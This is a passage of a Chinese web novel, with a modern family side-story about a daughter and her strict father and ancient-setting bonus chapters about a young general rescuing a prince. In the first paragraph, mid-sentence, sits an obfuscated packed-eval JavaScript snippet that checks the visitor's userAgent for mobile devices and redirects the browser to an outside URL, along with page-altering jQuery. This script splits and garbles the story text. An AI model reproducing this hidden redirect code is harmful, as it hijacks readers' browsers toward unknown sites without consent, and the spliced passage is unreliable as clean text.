但她只敢跟迟铎发脾气。迟铎这种溺爱型妈咪,哪怕被嫌弃,最多也就在心里吐槽一句:小棉袄怎么突然漏风成这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17080780|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真难搞。吐槽完下一秒照样笑眯眯贴上去:“对不起,宝贝。都听你的。”” 裴与驰不一样。女儿很清楚:她要是敢开这个口,大概率当场喜提坐监。禁足是起步价;想解除禁足也行,开定位共享,门禁再往前挪一小时;顺便社交名单过一遍,谁是谁、跟谁去、谁来接、几点回、怎么回,全部写清楚。再补一条:对方父母的驾照号也报一下。 于是在她爸的车上,她一句话都不敢多说,只一路坐立不安,终于熬到校门口,拎着书包就往下冲。偏偏命运就是如此凄惨,好死不死,她刚下车,就在门口撞见自己的crush跟她挥手打招呼。 她还没来得及装作很自然地走过去,开启一个甜蜜的寒暄对话,顺便打听下crush未来的行程安排。 下一秒,车窗降下。 裴与驰的声音很平静:“书包给我。” 命令不容置疑。 女儿当场僵住,脸上的温度开始直线上升:这么大了还被当小孩。 裴与驰丝毫不顾她的尴尬,接过书包,当场检查了一遍。动作熟练、目标明确,重点排查违禁物品,比如,爱的伞衣。 Crush见她站在原地不动,还以为她被什么事绊住了,径直朝她走过来。 下一秒,她爸抬眼,看了一眼一旁的阳光男生,视线回到女儿身上,语气不变:“不可以和男生亲吻,不可以私自去派对,每晚必须在宿舍视频。” 空气凝固。 女儿僵在原地,当场裂开,不敢抬头看旁边crush的表情,声音都快破音:“Dad???????” 总之和儿子殊途同归,只是社死的原因略有不同。 不过和儿子只想逃得远远的、只求别不幸成为父母爱情的观众不同,女儿恨不得自己当导演,给父母本来就甜得发腻的爱情再加点糖浆。 她会一本正经地教妈咪最近社交软件上流行的叠词和尾巴音,让迟铎时不时可以对着papa装可爱用,就像她撒娇让老爸给自己买那条项链的时候那样。她自己先用那种甜腻的少女气泡音念一遍,然后把手机一抬,像点名:“妈咪,跟读。” 迟铎:“……” 行。小公主的要求不敢不满足。 于是小公主继续一本正经指挥:“对,语气要甜一点,尾音要拖,越肉麻越有效。比如 ‘babyyyyy’ 要拖到你自己都不好意思。” 教完口语,她还顺手指挥迟铎把裴与驰的备注更新潮一点:别再 “hubby”,“babe” 这种含蓄老年人昵称了,要那种一眼甜蜜的、新潮的,还要带emoji的。 于是裴与驰的备注当场变成:“A-my lil boo??????????????????” 后面还被小公主强行加了一串不同颜色的爱心,五彩缤纷,晃得迟铎眼睛都花了。 然后她还会理直气壮抢过裴与驰的手机,检查老爸给自己备注了什么。 因为上次她无意瞄到一眼,备注写的是:“An ungrateful loaf of bread”。 女儿当场炸了,气到耳机都不戴了:“谁是不知感恩的面包???!!” 裴与驰语气平静: “你。” 女儿懒得争论,决定用行动解决问题:等会去爆刷老爸卡,然后当场自己上手改备注。 她先把自己的备注改成:“precious little princess???????????”,王冠和星星一个不落。 顺便把裴与驰给迟铎备注的那个土到掉渣的“wifey” 当场判死刑,改成: “bunny wunny???????”。兔子、丘比特、爱心、星星一个不少 裴与驰看着那串眼花缭乱的emoji,沉默两秒,最后只评价了一句:“……幼稚。” 但他也没改回去。 毕竟这确实是他们家唯一的,无比珍贵的小公主。 至于她妈,裴与驰早就摸清了,迟铎嘴上骂他坏,身体倒很诚实;他一旦把语气冷下来,慢条斯理叫一句“naughty girl”,迟铎反而更有感觉。 顺便说一句,小公主给裴与驰的备注会在 “papa bear??????” 和 “Obbie Old Man??” 之间反复横跳,取决于裴与驰禁不禁她的足:不禁足就是最爱的,最有安全感的爸爸熊配上大大的爱心;一禁足立刻降级成固执老男人,连恶魔表情都配齐,主打一个当场翻脸。 给迟铎的备注大部分时间都很甜:“Muvaa??????”,最亲爱的妈咪,给予她生命线的的母亲大人。 但只要迟铎把她坑到当众出丑,比如当着crush面前喊她“小公主”,或者硬拽着没打扮好的她去看crush的比赛,她回头就会把备注当场改成:“mom-ster??”。 67.古代-初见[番外] 夜色沉沉,星月都被云影吞没,只剩风声贴着荒原低伏而过, 迟铎翻身下马,将缰绳绕在枯木上,动作利落,没有再回头看一眼。姣雪立在原地,马蹄稳稳踏着冻土,只轻轻打了个响鼻,便不再动作,像是早已知晓主人此行的去向与分寸,安静地候在那里。敌营就在前方不远,火光稀疏,巡逻的人影被夜风吹得东倒西歪。他算过时间,换岗刚过,正是最松的时候。 迟铎年岁尚不足十三,眉目却已生得极好。少年人骨架未成,线条尚显清瘦,乍一看,倒像是养得极好的世家公子。只是这位俊秀少年郎一袭黑衣,背负行囊,身上不见半点繁饰,长刀悬在腰侧,刀柄被磨得发亮,却暂时未曾出鞘。 他翻过营外的土坡,身形轻捷,落地时几乎无声。 第一刀封喉,第二刀补在肋下,出手利落狠绝,没有半分犹豫,与他尚显稚气的年岁极不相称。尸体被他拖入暗影之中,血迹很快被沙土吞没,连痕迹都未曾留下。 迟铎一边往营内潜行,一边在心中暗骂。 烦。 若非那碍事的皇子落入敌营,这一片今夜原该一把火烧个干净。偏偏出了岔子,营中上下围着舆图推演来推演去,言辞密不透风,顾虑却一个赛一个重,算到天亮也未必能算出个两全之策。可若再拖一夜,待天色一明,那倒霉皇子的人头一旦被悬上城门,事情便不再是救与不救的问题了。到那时,朝廷第一件事,恐怕便是质疑迟家拥兵自重,坐视皇子身死。反与不反,反倒由不得他们。 迟铎坐在帐中,听父亲麾下的将军与谋士反复推敲,话说得滴水不漏,却始终不敢落锤。他听得心烦意乱,指节在刀柄上敲了又敲。偏偏正是少年气盛的时候,天不怕地不怕,耐心很快就耗尽了。 终于,他起身,牵马,上鞍。 一人一骑一刀,未告任何人,也未留后路,更谈不上接应。 他心里只有一个念头:皇子死在哪里都行,唯独不能死在迟家的地界。 他行动极快,身影在风中掠过,几乎未曾惊动半点声响。零星几名守卫尚未来得及出声,喉管已被割开,倒下时的闷响,也一并被狂风与夜色吞没。 迟铎一路向前,循着营帐的分布潜行,寻找关押皇子的所在。忽然,侧旁一顶营帐内传来细微动静,不是脚步,也不像挣扎,而是被刻意压低的喘息声。 迟铎脚下一顿,反手抽刀,贴着帐壁潜了过去。 下一瞬,他掀帘而入,厚重的血腥味先一步扑面而来。地上横陈着两具尸体,皆是匈奴人的相貌。一人喉间被割开,另一人胸口塌陷,显然是被重物生生砸死。血尚温热,顺着毡毯缓缓往下淌。 帐内站着一个与他年岁相仿的少年。锦袍破损,衣角染血,袖口挽起。他正低头,将一柄短刃自尸体身上抽出,动作不急不缓,利落得不像是第一次见血。 听见动静,那人抬眼,两道视线在半空中骤然相撞。 迟铎下意识皱了下眉,原先那点判断,在这一眼之下尽数作废。眼前这人,与他想象中的“无能碍事皇子”,相去甚远。 被人撞破行凶现场,对方却未显出半分急色,只直直看了过来,目光冷静而审慎,像是在衡量,眼前这个闯入者,是需要一并处理的麻烦,还是另有用处。 裴与驰移开视线,将刀上的血迹在尸体衣襟上抹净,这才开口,语声不高,却字字分明。 “来得有点慢。” 迟铎一时无言。这语气里的居高临下,倒与他对皇子身居上位、惯于使唤人的想象并无二致,显然在电光火石之间,对方已经对他的身份做出了判断。他站在原地,扫了一眼地上的尸体,又看向对方手中的刀,语气里不见半分恭敬:“你若杀得再快一点,我就不用来了。” 裴与驰看了他一眼,目光在他握刀的手上停了一瞬,像是在确认什么,随后轻轻点了下头。高傲致意,溢于言表。 迟铎心里冷笑。自己失手落入敌营先不提,竟还反倒嫌人来得迟了,好大的派头,倒像是在暗指迟家上下不过是多此一举的摆设。就算这位皇子武艺不弱、下手狠辣,他也不信对方真有飞天遁地的本事,能在无马无援、四面皆敌的情况下,独自从这里杀出去。既如此,又何必劳他亲自走这一遭。 迟铎扯了扯嘴角,笑意却未达眼底。 “小的无能。”他慢吞吞地开口,手上敷衍地作了个揖,语气听不出半点诚惶诚恐,“不如三殿下手眼通天,算无遗策,索性是早就算好了,要身陷囹圄——”说话间,他的目光故意往地上一扫,那两具尸体的血迹正在毡毯上渐渐发暗,“就为了杀这两个,” 迟铎略一停顿,唇角勾起一点几不可察的弧度:“匈奴小兵。” 裴与驰听了,却并未动怒,也未斥他以下犯上,只是看着迟铎,神色平静,仿佛这番话早在预料之中,连反应都省了。“迟小将军,”他忽然开口,语调不疾不徐,“若我今夜死在这里,黄泉路上倒也不至于冷清,有迟小将军一家人相陪,想来还能切磋几招。” 迟铎看了裴与驰一眼,裴与驰坦然回望。片刻之后,迟铎没再耍嘴皮子,反手把身上的包袱扔了过去,“穿上。” 里面是一套夜行服,和他身上的制式一模一样。皇子的锦袍在夜色里太过显眼,不适合活着走出去。裴与驰接过包袱,没有多问一句,利落地换上。这位迟小将军方才那句话并非全无道理。敌营地形复杂,他又不熟悉路线,更无马匹可用,眼下最稳妥的法子,便是让迟铎带路,哪怕手段未必客气。 帐外忽然传来脚步声。迟铎已然转身,手搭在帘边,侧头丢下一句:“跟紧点。”两人一前一后出了营帐。夜风迎面灌来,将帐内残留的血腥气吹得干干净净。 回去的路并不安静。迟铎行动极快,落脚、转身、出刀皆无多余声响。本以为身后多少要慢上一拍,余光一瞥,却见那人始终贴在侧后方,步伐稳准,半点不乱。翻栅、避火、掠影而行,数次险处皆是同时落地。 迟铎心里微微一顿。这位在宫中长大的三皇子,显然并非临时起意学来的几招花架子。身手干净,出力收放有度,分明是自幼跟着教习,按真刀真枪的路子磨出来的。 破空声骤然逼近。迟铎几乎是凭着靶场里千百次练出来的本能反应,下意识偏头,暗箭擦着耳侧掠过,钉入身后的木柱。 他们被发现了。 破空声接连而至。第二支箭擦着帐角掠过,钉进地面,尾羽还在轻颤。火光骤亮,有人高声呼喝,匈奴语在夜色里炸开,巡营的火把迅速朝这边合拢。 迟铎没回头,脚下却已提速,“走左边。”他低声道。话音刚落,人已贴着阴影掠出,借着营帐之间的空隙疾行。裴与驰紧随其后,没有迟疑,几乎是同时变向,步伐踩得极准,半步不乱。第三支箭从侧后方射来。迟铎正要偏身,余光里却见一道黑影先一步掠过。裴与驰抬手一拨,短刃贴着箭杆斜斜一挑,那箭锋瞬间偏了方向,擦着两人身侧钉进土里。 迟铎心里骂了一句。 麻烦,这位皇子显然比他预想的还要棘手。 前方忽然亮起一排火把,两名敌人横在去路上。迟铎脚下一顿,反手抽刀,没给对方半点出声的机会,贴身一进,刀锋抹过喉口。尸体尚未倒地,裴与驰已自侧面补上第二击,干脆利落,两人具尸体几乎同时倒地。 迟铎侧头看了他一眼。裴与驰已经收刀,目光越过尸体,落在更远处的火光上,神情冷静,像是在暗中衡量去路,“右侧营栅有缺口。”迟铎一愣,随即反应过来。这一路上,对方并非只是紧跟其后。那些营帐、火位、巡逻间隙,早已被他一并记下。 “没想到三殿下不仅算得准,还看得清。”迟铎冷声道。 “看过地图。”裴与驰回得平淡,“比你们的军帐画得细一点。” 迟铎一时无言,这一瞬间,他心中忽然有了答案,为什么是这位三皇子被派来了边疆。 火光已经逼近,呼喝声此起彼伏,匈奴语混着铁器碰撞的声响,在夜色里迅速拉近。迟铎没再多说一句,脚下一转,带着人往右侧疾掠而去。那处营栅果然有缺。原本该是堆放辎重的地方,向来进出频繁,木栅被拆过又草草补上,只留了个不太显眼的缝隙。迟铎心里一紧,这种地方,若不是提前看过图,很难在夜里一眼辨出来。 迟铎先一步翻过栅栏,落地时顺势一滚,已稳住身形,回身伸手。裴与驰却未借他之力,身形一错,直接越过栅栏,落地稳当,脚下几乎没有多余声响。迟铎“啧”了一声,有点懊恼自己方才没忍住发了善心,结果对方半点不领情。 栅栏后的地势骤然一低,是片废弃的辎重空地,地面坑洼不平,杂草没过脚踝。火把的光被木栅挡住了一半,只在地上投下零碎晃动的影子。迟铎站稳身形,刀锋一转,已然挡在前头。又是一阵破空声。箭来得极快,角度刁钻,显然不是胡乱放的。迟铎脚下一错,贴着地势低伏而行,借着阴影避开第一轮箭雨,顺手一刀劈断探进来的长枪。 裴与驰没有退后。他在迟铎侧后一步的位置停下,短刃在手中一转,下一瞬便反手掷出。刀锋擦着夜色飞掠而去,正中那名正要放箭的匈奴人喉间,对方连叫声都未及发出,便从高处栽了下来。迟铎余光一扫,脚步未停,“左边。” 裴与驰已然看见,两人几乎同时变向,一前一后贴着废木堆掠过去。追兵被地形拖慢了半拍,火把的光一时照不进来,只剩杂乱的脚步声在夜色里逼近。迟铎抬手示意停步,下一刻,刀锋已贴着暗影送出。第一个追上来的匈奴人刚露出半个身子,便被他一刀封喉,尸体被顺手拖进草丛。第二个几乎同时倒下。裴与驰收刀时动作极轻,血溅在夜行服上,很快便被夜色吞没。 风声里忽然多出了一点别的动静,低低的一声嘶鸣,声音不大,却熟得不能再熟。 迟铎脚下一顿,侧耳听了一瞬,随即转了方向,带着人往荒坡后的黑影里绕去。枯木下,一匹白马静静立着。 姣雪站得很稳,缰绳松松垂在一旁,马蹄踏在地上,连位置都未曾挪动。听见动静,它抬了抬头,鼻息喷出一口白气,看清来人,便低低地打了个响鼻。 迟铎伸手在它颈侧拍了一下,“乖。”姣雪往前凑了一步,亲昵地蹭了蹭他的肩,像是在抱怨等得太久,又像是在确认人安然无恙。裴与驰站在一旁,看了一眼。这匹马肩背修长,肌肉线条流畅,眼神安静却警惕,显然并非军中常见的战马。 “它会认人。”迟铎低声道。 裴与驰应了一声,没有多问。 远处火光仍在晃动,追兵的动静被夜色拉得断断续续,显然已经有人发现了这片空地。迟铎翻身上马,动作利落,抖缰的同时侧头看了裴与驰一眼,“上来。” 语气不容置喙。裴与驰看了眼姣雪,又看了眼渐近的火光,没有迟疑,踏着马镫翻身而上,在他身后坐定。姣雪前蹄一抬,转身便走,马蹄踏碎夜色,风声骤然拔高。身后的呼喝声骤起,却很快被甩在身后。迟铎收紧缰绳,姣雪顺着熟悉的方向疾驰而去,夜色在两侧飞快后退。 两人一马,没有回头。敌营深处怒喝声四起,新立的匈奴王震怒之下,下令追击,不必留活口,只要尸体。 马蹄踏碎夜色,风声在耳畔呼啸而过,火把的光被迅速甩在身后,却并未完全消失。追兵显然不止一队,箭矢破空而来,方向凌乱,却封得极死。 箭雨里那一下,并非全然避开。 一支箭擦着迟铎的肩臂掠过,只破了层皮。他当时并未在意,反手一刀劈断箭杆,甚至没低头看一眼,便继续策马向前。风太大,夜太深,这点皮外伤,在他看来算不上什么。 直到夜色渐深,马速稍缓,他才察觉出不对。 不是疼,是热。热意从伤口处一点点漫上来,顺着手臂往上窜,像是被什么东西点着了火,沿着脊背一路烧进骨头里。迟铎握着缰绳的手开始发抖,视线也跟着发虚,前方的夜路在眼前晃成一片。 姣雪最先察觉到异样,马蹄的节奏微不可察地乱了一瞬,步伐随之慢了下来。正是这一瞬,身后火把骤然迫近,光影在夜色里猛然拉长。裴与驰伸手扣住迟铎肩臂,将人强行稳住,指尖触及皮肤,温度异常,他神色顿沉,几乎不假思索,直接下了判断:“箭上有毒。” 迟铎张了张口,尚未来得及出声,眩晕已压得他低下头去,气息骤乱。裴与驰不容他多言,冷声喝止:“停。”语气森然,不容置喙。迟铎下意识要反驳,却被他一把按住,直接夺过缰绳。姣雪被强行受制,前蹄刨地,低低嘶鸣一声。 “你已带不了路。”裴与驰语声冷硬,“再走,只会一并送命。” 迟铎咬紧牙关,额角冷汗渗出。裴与驰翻身下马,动作极快,将人从马背上拽下,半拖半扶地带入一旁低洼之处,反手折断箭尾,挑开伤口,黑血随即涌出。迟铎闷哼一声,却强自忍住,没有挣动。裴与驰一眼扫过血色,眉峰彻底压低,沉声道:“听着,自此刻起,由我引路。” 迟铎抬眼,视线已有些散乱。裴与驰却未再看他,转身牵起姣雪,带着人往更暗的方向折行,避开正途,专拣荒草深密、地势紊乱之处前行。追兵仗马疾驰,惯走直线,此等地形反倒施展不开。 迟铎被他半拖着行了数步,脚下忽然一虚,险些跪倒。裴与驰伸手托住他的肩,力道沉稳,“站稳,靠着我。”迟铎咬牙不语,身上热意却愈发汹涌,呼吸沉重,毒性发作极快,烧意层层叠起,意识被逼得愈发狭窄。 马蹄声再度迫近。裴与驰抬眼辨了辨夜色,迅速变向,带着人拐入一片乱石坡,松开缰绳,任姣雪自行择路攀行。碎石声被夜风吞没,火把一时照不上来,追兵冲至坡下,只余呼喝声在夜色里四散。 裴与驰趁隙将迟铎按在背风的岩石之后,动作利落,将人放倒。迟铎意识已然发散,额前碎发尽湿,唇色却被烧得发红。裴与驰蹲下身,毫不迟疑地撕开他肩臂衣料,细看伤口,毒血已出大半,伤缘却仍泛着暗色。 “命大。”裴与驰低声道,也不知是评断,还是陈述。 迟铎勉强睁眼,视野中人影重叠,嗓音嘶哑,却仍挤出一句:“走。”意识虽乱,心中那点执念却未散:人既救出,便不可死在迟家地界。 裴与驰并未应声。他取出水袋,递至迟铎唇边,语气冷肃:“喝。”迟铎本能咽下几口,却被呛得喉间一紧。裴与驰当即扣住他的下颌,稳住力道,直到水尽数咽下,方才松手。 远处的马蹄声渐渐散开,追兵显然被引错了方向。裴与驰站起身,最后看了一眼夜色,确认暂时无虞,这才低头看向地上的人。 迟铎已烧得意识不清,却仍死死攥着刀柄,指节泛白。裴与驰俯身,伸 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“为了让你把药喝下去,确实费了我不少心力。”裴与驰抬眼看他,语调依旧不紧不慢,“等你终于肯赏脸,天色已经亮了,只能在此暂避。” 迟铎沉默了片刻。 记忆渐渐回笼。箭伤、毒血、高烧,还有昨夜被强行按住时,那只冷硬却始终未曾松开的手。他动了动肩臂,发现伤口已被重新包扎,布条缠得利落,不似军医那般规整,却止住了血,也未妨碍行动。 他抬眼看向裴与驰,那句“多谢”其实早已到了嘴边,可醒来之后,这位三皇子冷言冷语不断,那点郑重其事的感激反倒被堵在喉间,上不去,也咽不下。迟铎静了片刻,终究还是低了低头:“承蒙三殿下相救。” 声音不高,却是肺腑之言。 昨夜若未将人带出,迟家上下难辞其咎;而即便他被弃在半途,只要三皇子脱身,也无人会追究半分。可偏偏,对方为他折返城中,冒险寻医,又被拖在这荒山洞里生火避人——这些事,本就不在三皇子的责任之内。 裴与驰闻言,目光在他脸上停了一瞬,随即移开,语气平常:“昨夜若没有你,我走不出来。” 这话说得不轻不重,却分量十足。迟铎心中微动,对这位在敌营中单枪匹马杀人、又一路带着他脱身的三皇子,确实多了几分敬重。他正欲报上姓名,让对方不必再一口一个“迟小将军”,毕竟也算过命的交情。 “属下名迟铎,殿下唤名字便可。先前多有冒犯,实在——” 话未说完,裴与驰挑了下眉。刺头少年忽然自称“属下”,倒是新鲜,他却未多言,只当默认,也显然并不打算计较先前那些以下犯上的言语。 迟铎见他独自坐在洞口生火,以身挡风,心中愈发过意不去,忍不住道:“殿下还是过来歇着吧,属下已无大碍。” 裴与驰看了他一眼,语气依旧平静:“不必,托迟小将军的福。” 迟铎:“……?” 三皇子仿佛未察觉他的疑惑,话锋一转,像是在下结论:“人的意志,原来能坚定到这种地步,倒是叫我开了眼界。” 迟铎:“……” “烧成那样,我怎么掰,嘴都掰不开,灌进去的药,也尽数吐了。”裴与驰看了眼火堆,语气客观得近乎冷淡,“再浪费下去,药便没了。” 他说着抬眼看向迟铎,目光意味深长:“无奈之下,只好亲自喂,用嘴。药我也因此喝下不少,现在身体康健,不必多想。” 迟铎:“…………” 零碎的记忆忽然翻涌而上。高烧不退,意识混沌,苦涩的药味在唇齿间散不开,怎么都咽不下去,后来似乎有人俯身而来,扣住他的下颌,气息近在咫尺,药汁被一点一点送入口中,带着不容拒绝的温度。 迟铎彻底沉默。 这回是真欠大了。本是单枪匹马救人,结果反倒被人一路救着;命欠下不说,还搭进去点说不清、也不太想细想的东西。早知这位三皇子文韬武略样样精通,他昨夜就该老老实实回营睡觉。 迟铎默默将方才那点“过命交情”的念头掐灭。 还是算了。 君子之交,淡如水。此生若能不再相见,实在再好不过。 洞外的风声渐歇,火堆里枯枝噼啪作响,火光在岩壁上轻轻跳动。迟铎垂着眼坐了一会儿,像是在消化方才那些不太愿意回想起的片段,直到额角的热意被火烤得更明显,才勉强抬起头来。 “殿下既已安然,”他语气放得极轻,“不必再为属下耽搁行程。迟家的人,很快便会循迹寻来。” 裴与驰闻言,抬眼看了他一瞬,目光在他尚未完全褪去红潮的脸上停了片刻,像是在评估这话的可信度,随后才慢悠悠地开口:“迟小将军现在这副模样,倒是很有底气。” 迟铎一噎,下意识挺直了背脊,正要再说自己并无大碍,肩臂却忽然一阵发虚,力道跟着散了。他察觉不对,硬生生把那点踉跄压了下去,脸色却到底白了一分。 裴与驰看得分明,却没立刻拆穿,只将匕首收回鞘中,起身拍了拍衣摆上的灰尘,语气淡淡:“休息好了?” 迟铎几乎是条件反射般答道:“好了。” 话音刚落,他便站起身来,结果脚下一软,整个人往前一倾,险些撞进火堆里。下一瞬,肩上一沉,一只手稳稳托住了他,将那点狼狈尽数拦下。 裴与驰站在他身侧,力道不轻,语气却依旧平静:“看来确实好了。” 迟铎耳根微热,正要挣开,却被对方顺势扣住,半点不给他逞强的余地。 “实在不行,”裴与驰像是在认真权衡,“就还是昨夜那样。” 迟铎一愣:“哪样?” 裴与驰低头看了他一眼,语气淡得不能再淡:“抱着走。” 迟铎:“……” 一些极不合时宜的画面忽然在脑中浮现,他喉结滚了一下,下意识要拒,却发现自己连站稳都费力。毒性尚未完全退去,烧意仍在骨子里翻腾,若真要继续赶路,只怕撑不了多久。裴与驰似乎并不打算等他的回答,只将人往身侧一带,低声道:“路不短,别再拖时间。” 迟铎心头一紧,下意识反驳:“殿下——” “我抱得动。”裴与驰打断他,语气平直,像是在陈述一件再寻常不过的事实。 迟铎彻底说不出话来。 他这一趟,本是来救人的,结果从头到尾,倒像是被人接管了性命与去路。再争下去,未免显得太不识好歹。迟铎只得咬了咬牙,勉强点头,心里却已经把自己昨夜那点轻狂骂了个遍。 裴与驰见他不再挣扎,动作干脆,将人稳稳托住,转身往洞外走去。姣雪在外头听见动静,抬头看了过来,见两人出来,轻轻甩了甩尾巴,站得极稳。 山路幽深,天色将明未明,晨雾在林间浮动。裴与驰步伐不急,却极稳,像是早已习惯在这种地形中行走。迟铎靠在他肩侧,能清晰地感觉到对方的呼吸起伏,心里那点说不清的别扭与无力,一时竟不知该往何处安放。 他闭了闭眼,低声道:“殿下……此情,迟家记下了。” 裴与驰脚步未停,只淡淡回了一句:“先活着再说。” 68.古代-逃出[番外] 此行虽是逃命,裴与驰却并未折向城外,反而领着人往城中去。天色将明未明,街巷空旷,行人寥寥,一人抱着一人,又牵着一马的情形,竟也未引来旁人注目。他在两军交界处拐了个弯,脚步熟得过分,像是早已将这一带的路径记在心里。 迟铎被他抱在怀中,意识尚未完全清醒,只模模糊糊觉得方向不对,却连开口的力气都没有。再抬眼时,面前已是一处宅院。门楣悬着写有汉文的牌匾:医馆。大门紧闭,显然尚未到开门的时辰。 裴与驰脚步未停。 下一瞬,只听一声闷响,木门被他一脚踢开,门闩断裂,晨风灌入,动静在寂静的街巷里显得格外清楚,半点遮掩也无,好一副私闯民宅的歹人作派。 屋内,那位昨夜才被强行掳走、好不容易归来,熬到天亮方得合眼的老医,被这声动静惊得从榻上坐起,外衣尚未来得及系好,便匆匆迎了出来。待他看清来人,神情明显一滞,眉心猛地一跳,整个人像是被一口气生生噎住。 还是这位。 还是那张冷硬的脸,还是那副不敲门的做派,更要命的是,怀里抱着的那个人,也半点没换。 迟铎:“……” 他忽然对三殿下口中那句“进城掳了个医者”,有了极为清晰的认知,这话不是谦辞,更不是夸张。 老医心中还未来得及哀叹命苦,目光已不由自主落到那人怀里的伤者身上,神色已然紧张起来。昨夜开的方子、熬的药,在脑中飞快过了一遍,生怕哪一步出了差池,惹得这位黑面阎罗回头来算账。 “先生的方子很有效。”那人开口,听起来倒不像是来索命的,“劳烦再诊一番,再照昨夜的方子熬一副。” 老医一怔,下意识道:“那药性偏猛,不可过量。老朽昨夜是按着份量熬的。” 裴与驰“嗯”了一声,“没能足量喝完。”他说完,低头看了一眼怀里的人。 迟铎:“……” 山洞里那些原本混沌不清的片段,被这一眼生生拽了回来。苦涩的药水顺着唇角淌下去,他死死咬着牙关,怎么都不肯张口。后来似乎有人扣住了他的下颌,低声斥了一句什么,气息逼近,唇齿被迫分开,药汁被一点一点渡入口中,退无可退,他本能地想躲,却被牢牢按住,连呼吸的节奏都被夺走,只能被迫吞咽。 他下意识垂下眼,只想把记忆沉入脑海深处。 老医哪还敢多问,连连应下,取脉、开方、熬药,身手麻利地不似这个年纪。递过药碗时,连眼都不敢抬。裴与驰接过药,在榻边坐下,看了迟铎一眼:“能坐稳么?” 迟铎下意识点头,撑着床沿想要起身,眼前却猛地一晃,手臂一软,整个人便往前倾去,下一瞬,便被人托住。 裴与驰一手扶着他的肩,将人按回榻上,早有预料:“看来还是不行。”他说着端稳药碗,另一只手托住迟铎的背,让人靠在自己怀里靠稳:“喝药。” 药碗送到唇边。 迟铎想抬手,却发现连碗沿都碰不稳,只能靠着那只手臂,一口一口咽下去。苦味在喉间散开,那点刚压下去的热意又顺着血脉烧了上来。这一次,他喝得很快,快得连老医都忍不住多看了一眼。那方子下得并不轻,寻常人多半要被苦得皱眉。 至于是迟小将军完全不怕苦,还是不想再来一次昨夜那种喝法,谁也没追究。总之,碗很快见了底。 药喝完,歇了片刻。老医见病人气息渐稳,便借口去洗药罐,在屋内外忙碌起来,脚步放得极轻,恨不能原地消失,免得那位煞星忽然又想起什么,开口再提要求。 裴与驰的注意力却始终落在迟铎身上。他看了看他的脸色,又伸手探了探脉息,像是在判断药效。迟铎自己也能感觉到,四肢的力气正在慢慢回转,那股烧意被压下去不少,药确实见效。 下一瞬,裴与驰突然伸手,在他身前身后摸索起来。 迟铎:“?” 他整个人一僵,下意识想躲,却又躲不开。虽说同为男子,可昨夜加上方才,这会儿再被这样近身,他难免有些不自在,脑中一瞬闪过的念头极其不敬。 ……三皇子这是发的什么疯? 裴与驰却像是半点没察觉他的僵硬,动作不停。片刻后,他停下手,语气自然:“钱在哪?” 迟铎:“……?” “我身上没钱。”三皇子终于肯赏脸解惑,“先前被搜干净了。” 他说完扫了一眼医馆,语气不疾不徐:“我们这是打算赖账? 这话问得太过理直气壮,仿佛他只是个身无分文、被迫跟来的无辜好心人。至于医馆那两次被踢断的门闩,以及老医此刻缩在角落里假装忙碌的身影,则一概不在他的考虑之中。 迟铎没再多说什么,很利索地从胸口内袋摸出一锭银子,放到案上。 “多谢三——”话到一半,他目光掠过一旁缩着身子的老医,改了口,“多谢公子相救。” 说完,又向老医拱手行了一礼,声音虽低,却郑重。 “也多谢先生施救,在下铭记在心。” 老医低头看着掌心那锭银子,一时竟不知该如何开口。本以为昨夜能保住性命,已是天大的侥幸,谁料救下的却是两位身份不轻之人。再想起交界处那一阵阵动静与喧嚣,他心里多少已有了些猜测,只是不敢明说。同为汉人,他原想将银子推回去,可话到嘴边,却又生生顿住。 裴与驰已然看出他的迟疑,语气平淡,像是在随口提醒一件无关紧要的事。 “此地不宜久留。”他说,“先生既有盘缠在手,还是早些做打算为好。” 话说得含蓄,却点得分明,这片地界,很快便不会太平。 老医指尖一紧,终究没有再推辞,只低低应了一声,将银子收起。片刻后,他转身出了屋,去了外头的马厩,替那匹白马添草喂水,动作比平日里都要仔细几分。 屋内,另一个听见这番话的人却一时没有出声。 迟铎沉默了片刻。方才那几句话落得太轻,却分量太重,他心里转了又转,终究还是没能按住那点少年人特有的直率,又或许,是念着眼前这人救过他性命,又一路不嫌麻烦地将他带来医馆的这份情谊。 他抬眼看向裴与驰,语气压得很低,却问得直接:“圣上……准备好了?” 裴与驰看着他,像是没料到他会在这个时候开口,随即眉梢微挑了一下,“那要看迟将军。” 迟铎一时无言,这话不轻不重,却正中要害。 三皇子话里的意思,其实再明白不过。此行边疆,不过是借慰问之名,行监军之实。那位真正要看的,从来不是匈奴动向,而是这片边境,究竟是裴家的疆土,还是迟家的私地。看清之后,才轮得到谈仗要不要打,打谁,又该怎么打。 这些话,迟铎并非第一次听。 父亲帐中,那些谋士早已反复推演过,连三皇子此行的来由,也拆得清清楚楚。只是旁人口中的分析,总隔着一层;而今夜,这些话由裴与驰亲自点出,意味便全然不同了。 三皇子的生母沈氏,宠冠六宫多年。先后早逝,中宫空悬,却始终未立继后,并非皇帝无意,而是不能。当年皇帝初登大宝,根基未稳,需借外戚稳局,太子之位便顺势早早定下,由左相闻铮一系扶持至今。 从名分上看,这盘棋早已落定。 可朝局从来不只看名分。沈氏止步于皇贵妃,沈家却未止步于此。数十年间,根基渐深,外祖沈研位列右相,与闻铮分庭抗礼,朝堂之上,早已成势。 而三皇子,正是在这样的局面中长大。子凭母贵,由圣上亲眼看着长成,荣宠不绝。年岁尚幼时尚不足以为惧,可随着锋芒渐露,朝中暗暗站边的人,早已不在少数。 这一点,迟铎如今是亲眼所见。 无论是边疆营帐中的临机决断,还是敌营夜行时的杀伐果断,又或是今夜这番不加遮掩的交底,他不得不承认,这位三皇子,已然站在了足以角逐那张龙椅的位置上。 若只论能力,他并不输;所欠的,不过是时间。 也正因如此,裴与驰今夜的话,才更显得意味深长。迟铎一时看不明白,这般直白的交底,究竟是有意为之的拉拢,试探迟家日后会选哪一边站;还是…… 夜色之中,那人半拖半抱,将他一步步从毒箭与追兵里拖出来的画面,忽然浮上心头。 若是前者,是权谋;若是后者,便是情谊,是一场出于过命之谊的提醒。 可偏偏,这两者在此刻重叠得太过彻底。 